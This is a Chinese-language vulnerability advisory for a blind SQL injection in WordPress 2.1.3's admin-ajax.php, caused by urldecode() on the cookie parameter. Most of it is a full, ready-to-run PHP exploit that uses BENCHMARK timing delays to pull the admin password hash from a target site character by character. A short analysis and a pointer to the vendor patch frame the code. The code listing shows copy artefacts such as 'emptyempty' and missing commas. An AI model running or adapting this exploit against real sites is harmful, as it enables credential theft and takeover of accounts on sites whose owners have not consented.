Wordpress admin-ajax.php远程SQL注入漏洞


添加时间:
2008-10-04

系统编号:
WAVDB-01107
BUGTRAQ: 27406

影响版本:
WordPress 2.1.3

程序介绍:

WordPress是一款免费的论坛Blog系统。

漏洞分析:

WordPress实现上存在输入验证漏洞,远程攻击者可能利用此漏洞执行SQL注入攻击非授权访问数据库。

WordPress的wp-admin/admin-ajax.php文件没有正确验证对cookie参数的输入。在wp-admin/admin-ajax.php的6行:

 
  1. define('DOING_AJAX', true);  
  2.   
  3. check_ajax_referer();  
  4. if ( !is_user_logged_in() )  
  5. die('-1');  

然后在check_ajax_referer()函数中:

 
  1. function check_ajax_referer() {  
  2. $cookie = explode('; ', urldecode(emptyempty($_POST['cookie']) ?  
  3. $_GET['cookie'] : $_POST['cookie'])); // AJAX scripts must pass  
  4. cookie=document.cookie  
  5. foreach ( $cookie as $tasty ) {  
  6. if ( false !== strpos($tasty, USER_COOKIE) )  
  7. $user = substr(strstr($tasty'='), 1);  
  8. if ( false !== strpos($tasty, PASS_COOKIE) )  
  9. $pass = substr(strstr($tasty'='), 1);  
  10. }  
  11. if ( !wp_login( $user$pass, true ) )  
  12. die('-1');  

可见使用了urldecode(),因此通过%2527就可以向wp_login()传送单引号,绕过php的magic_quotes功能。

接下来:

 
  1. function wp_login($username$password$already_md5 = false) {  
  2. global $wpdb$error;  
  3. ...  
  4. $login = get_userdatabylogin($username);  

最终:

 
  1. function get_userdatabylogin($user_login) {  
  2. global $wpdb;  
  3. ...  
  4. if ( !$user = $wpdb->get_row("SELECT * FROM $wpdb->users  
  5. WHERE user_login = '$user_login'") )  
  6. return false;  

因此攻击者可以执行SQL注入攻击。



漏洞利用:

 

 
  1. <?php  
  2. error_reporting(E_ALL);  
  3. $norm_delay = 0;  
  4. ///////////////////////////////////////////////////////////////////////  
  5. ///////////////////////////////////////////////////////////////////////  
  6. // WordPress 2.1.3 "admin-ajax.php" sql injection blind fishing exploit  
  7. // written by Janek Vind "waraxe"  
  8. // http://www.waraxe.us/  
  9. // 21. may 2007  
  10. ///////////////////////////////////////////////////////////////////////  
  11. ///////////////////////////////////////////////////////////////////////  
  12. //=====================================================================  
  13. $outfile = './warlog.txt';// Log file  
  14. $url = 'http://localhost/wordpress.2.1.3/wp-admin/admin-ajax.php';  
  15. $testcnt = 300000;// Use bigger numbers, if server is slow, default is 300000  
  16. $id = 1;// ID of the target user, default value "1" is admin's ID  
  17. $suffix = '';// Override value, if needed  
  18. $prefix = 'wp_';// WordPress table prefix, default is "wp_"  
  19. //======================================================================  
  20.   
  21. echo "Target: $url\n";  
  22. echo "sql table prefix: $prefix\n";  
  23.   
  24. if(emptyempty($suffix))  
  25. {  
  26.     $suffix = md5(substr($url, 0, strlen($url) - 24));  
  27. }  
  28.   
  29. echo "cookie suffix: $suffix\n";  
  30.   
  31. echo "testing probe delays \n";  
  32.   
  33. $norm_delay = get_normdelay($testcnt);  
  34. echo "normal delay: $norm_delay deciseconds\n";  
  35.   
  36. $hash = get_hash();  
  37.   
  38. add_line("Target: $url");  
  39. add_line("User ID: $id");  
  40. add_line("Hash: $hash");  
  41.   
  42. echo "\nWork finished\n";  
  43. echo "Questions and feedback - http://www.waraxe.us/ \n";  
  44. die("See ya! :) \n");  
  45. ///////////////////////////////////////////////////////////////////////  
  46. ///////////////////////////////////////////////////////////////////////  
  47. function get_hash()  
  48. {  
  49.     $len = 32;  
  50.     $field = 'user_pass';  
  51.     $out = '';  
  52.       
  53.     echo "finding hash now ...\n";  
  54.       
  55.     for($i = 1; $i < $len + 1; $i ++)  
  56.     {  
  57.         $ch = get_hashchar($field,$i);  
  58.         echo "got $field pos $i --> $ch\n";  
  59.         $out .= "$ch";  
  60.         echo "current value for $field: $out \n";  
  61.     }  
  62.       
  63.     echo "\nFinal result: $field=$out\n\n";  
  64.       
  65.     return $out;  
  66. }  
  67. ///////////////////////////////////////////////////////////////////////  
  68. function get_hashchar($field,$pos)  
  69. {  
  70.     global $prefix$suffix$id$testcnt;  
  71.     $char = '';  
  72.     $cnt = $testcnt * 4;  
  73.     $ppattern = 'cookie=wordpressuser_%s%%3dxyz%%2527%s; wordpresspass_%s%%3dp0hh';  
  74.     $ipattern = " UNION ALL SELECT 1,2,user_pass,4,5,6,7,8,9,10 FROM %susers WHERE ID=%d AND IF(ORD(SUBSTRING($field,$pos,1))%s,BENCHMARK($cnt,MD5(1337)),3)/*";  
  75.   
  76.     // First let's determine, if it's number or letter  
  77.     $inj = sprintf($ipattern$prefix$id">57");  
  78.     $post = sprintf($ppattern$suffix$inj$suffix);  
  79.     $letter = test_condition($post);  
  80.       
  81.     if($letter)  
  82.     {  
  83.         $min = 97;  
  84.         $max = 102;  
  85.         echo "char to find is [a-f]\n";  
  86.     }  
  87.     else  
  88.     {  
  89.         $min = 48;  
  90.         $max = 57;  
  91.         echo "char to find is [0-9]\n";  
  92.     }  
  93.   
  94.     $curr = 0;  
  95.       
  96.     while(1)  
  97.     {  
  98.         $area = $max - $min;  
  99.         if($area < 2 )  
  100.         {  
  101.             $inj = sprintf($ipattern$prefix$id"=$max");  
  102.             $post = sprintf($ppattern$suffix$inj$suffix);  
  103.             $eq = test_condition($post);  
  104.               
  105.             if($eq)  
  106.             {  
  107.                 $char = chr($max);  
  108.             }  
  109.             else  
  110.             {  
  111.                 $char = chr($min);  
  112.             }  
  113.               
  114.             break;  
  115.         }  
  116.           
  117.         $half = intval(floor($area / 2));  
  118.         $curr = $min + $half;  
  119.           
  120.         $inj = sprintf($ipattern$prefix$id">$curr");  
  121.         $post = sprintf($ppattern$suffix$inj$suffix);  
  122.           
  123.         $bigger = test_condition($post);  
  124.           
  125.         if($bigger)  
  126.         {  
  127.             $min = $curr;  
  128.         }  
  129.         else  
  130.         {  
  131.             $max = $curr;  
  132.         }  
  133.   
  134.         echo "curr: $curr--$max--$min\n";  
  135.     }  
  136.       
  137.     return $char;  
  138. }  
  139. ///////////////////////////////////////////////////////////////////////  
  140. function test_condition($p)  
  141. {  
  142.     global $url$norm_delay;  
  143.     $bret = false;  
  144.     $maxtry = 10;  
  145.     $try = 1;  
  146.       
  147.     while(1)  
  148.     {  
  149.         $start = getmicrotime();  
  150.         $buff = make_post($url$p);  
  151.         $end = getmicrotime();  
  152.       
  153.         if($buff === '-1')  
  154.         {  
  155.             break;  
  156.         }  
  157.         else  
  158.         {  
  159.             echo "test_condition() - try $try - invalid return value ...\n";  
  160.             $try ++;  
  161.             if($try > $maxtry)  
  162.             {  
  163.                 die("too many tries - exiting ...\n");  
  164.             }  
  165.             else  
  166.             {  
  167.                 echo "trying again - try $try ...\n";  
  168.             }  
  169.         }  
  170.     }  
  171.       
  172.     $diff = $end - $start;  
  173.     $delay = intval($diff * 10);  
  174.       
  175.     if($delay > ($norm_delay * 2))  
  176.     {  
  177.         $bret = true;  
  178.     }  
  179.       
  180.     return $bret;  
  181. }  
  182. ///////////////////////////////////////////////////////////////////////  
  183. function get_normdelay($testcnt)  
  184. {  
  185.     $fa = test_md5delay(1);  
  186.     echo "$fa\n";  
  187.     $sa = test_md5delay($testcnt);  
  188.     echo "$sa\n";  
  189.     $fb = test_md5delay(1);  
  190.     echo "$fb\n";  
  191.     $sb = test_md5delay($testcnt);  
  192.     echo "$sb\n";  
  193.     $fc = test_md5delay(1);  
  194.     echo "$fc\n";  
  195.     $sc = test_md5delay($testcnt);  
  196.     echo "$sc\n";  
  197.       
  198.     $mean_nondelayed = intval(($fa + $fb + $fc) / 3);  
  199.     echo "mean nondelayed - $mean_nondelayed dsecs\n";  
  200.     $mean_delayed = intval(($sa + $sb + $sc) / 3);  
  201.     echo "mean delayed - $mean_delayed dsecs\n";  
  202.       
  203.     return $mean_delayed;  
  204. }  
  205. ///////////////////////////////////////////////////////////////////////  
  206. function test_md5delay($cnt)  
  207. {  
  208.     global $url$id$prefix$suffix;  
  209.       
  210.     // delay in deciseconds  
  211.     $delay = -1;  
  212.     $ppattern = 'cookie=wordpressuser_%s%%3dxyz%%2527%s; wordpresspass_%s%%3dp0hh';  
  213.     $ipattern = ' UNION ALL SELECT 1,2,user_pass,4,5,6,7,8,9,10 FROM %susers WHERE ID=%d AND IF(LENGTH(user_pass)>31,BENCHMARK(%d,MD5(1337)),3)/*';  
  214.     $inj = sprintf($ipattern$prefix$id$cnt);  
  215.     $post = sprintf($ppattern$suffix$inj$suffix);   
  216.   
  217.     $start = getmicrotime();  
  218.     $buff = make_post($url$post);  
  219.     $end = getmicrotime();  
  220.       
  221.     if(intval($buff) !== -1)  
  222.     {  
  223.         die("test_md5delay($cnt) - invalid return value, exiting ...");  
  224.     }  
  225.   
  226.     $diff = $end - $start;  
  227.     $delay = intval($diff * 10);  
  228.   
  229.     return $delay;  
  230. }  
  231. ///////////////////////////////////////////////////////////////////////  
  232. function getmicrotime()   
  233. {   
  234.     list($usec$sec) = explode(" ", microtime());   
  235.     return ((float)$usec + (float)$sec);   
  236. }   
  237. ///////////////////////////////////////////////////////////////////////  
  238. function make_post($url$post_fields=''$cookie = ''$referer = ''$headers = FALSE)  
  239. {  
  240.     $ch = curl_init();  
  241.     $timeout = 120;  
  242.     curl_setopt ($ch, CURLOPT_URL, $url);  
  243.     curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);  
  244.     curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);  
  245.     curl_setopt($ch, CURLOPT_POST, 1);   
  246.     curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);   
  247.     curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);  
  248.     curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)');  
  249.       
  250.     if(!emptyempty($cookie))  
  251.     {  
  252.         curl_setopt ($ch, CURLOPT_COOKIE, $cookie);  
  253.     }  
  254.   
  255.     if(!emptyempty($referer))  
  256.     {  
  257.         curl_setopt ($ch, CURLOPT_REFERER, $referer);  
  258.     }  
  259.   
  260.     if($headers === TRUE)  
  261.     {  
  262.         curl_setopt ($ch, CURLOPT_HEADER, TRUE);  
  263.     }  
  264.     else  
  265.     {  
  266.         curl_setopt ($ch, CURLOPT_HEADER, FALSE);  
  267.     }  
  268.   
  269.     $fc = curl_exec($ch);  
  270.     curl_close($ch);  
  271.       
  272.     return $fc;  
  273. }  
  274. ///////////////////////////////////////////////////////////////////////  
  275. function add_line($buf)  
  276. {  
  277.     global $outfile;  
  278.       
  279.     $buf .= "\n";  
  280.     $fh = fopen($outfile'ab');  
  281.     fwrite($fh$buf);  
  282.     fclose($fh);  
  283.       
  284. }  
  285. ///////////////////////////////////////////////////////////////////////  
  286. ?>  

 



解决方案:
厂商补丁:
WordPress
---------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://wordpress.org/download/

信息来源:
<*来源:Janek Vind (come2waraxe@yahoo.com)

链接:http://secunia.com/advisories/25345/
http://marc.info/?l=bugtraq&m=117985846700637&w=2
*>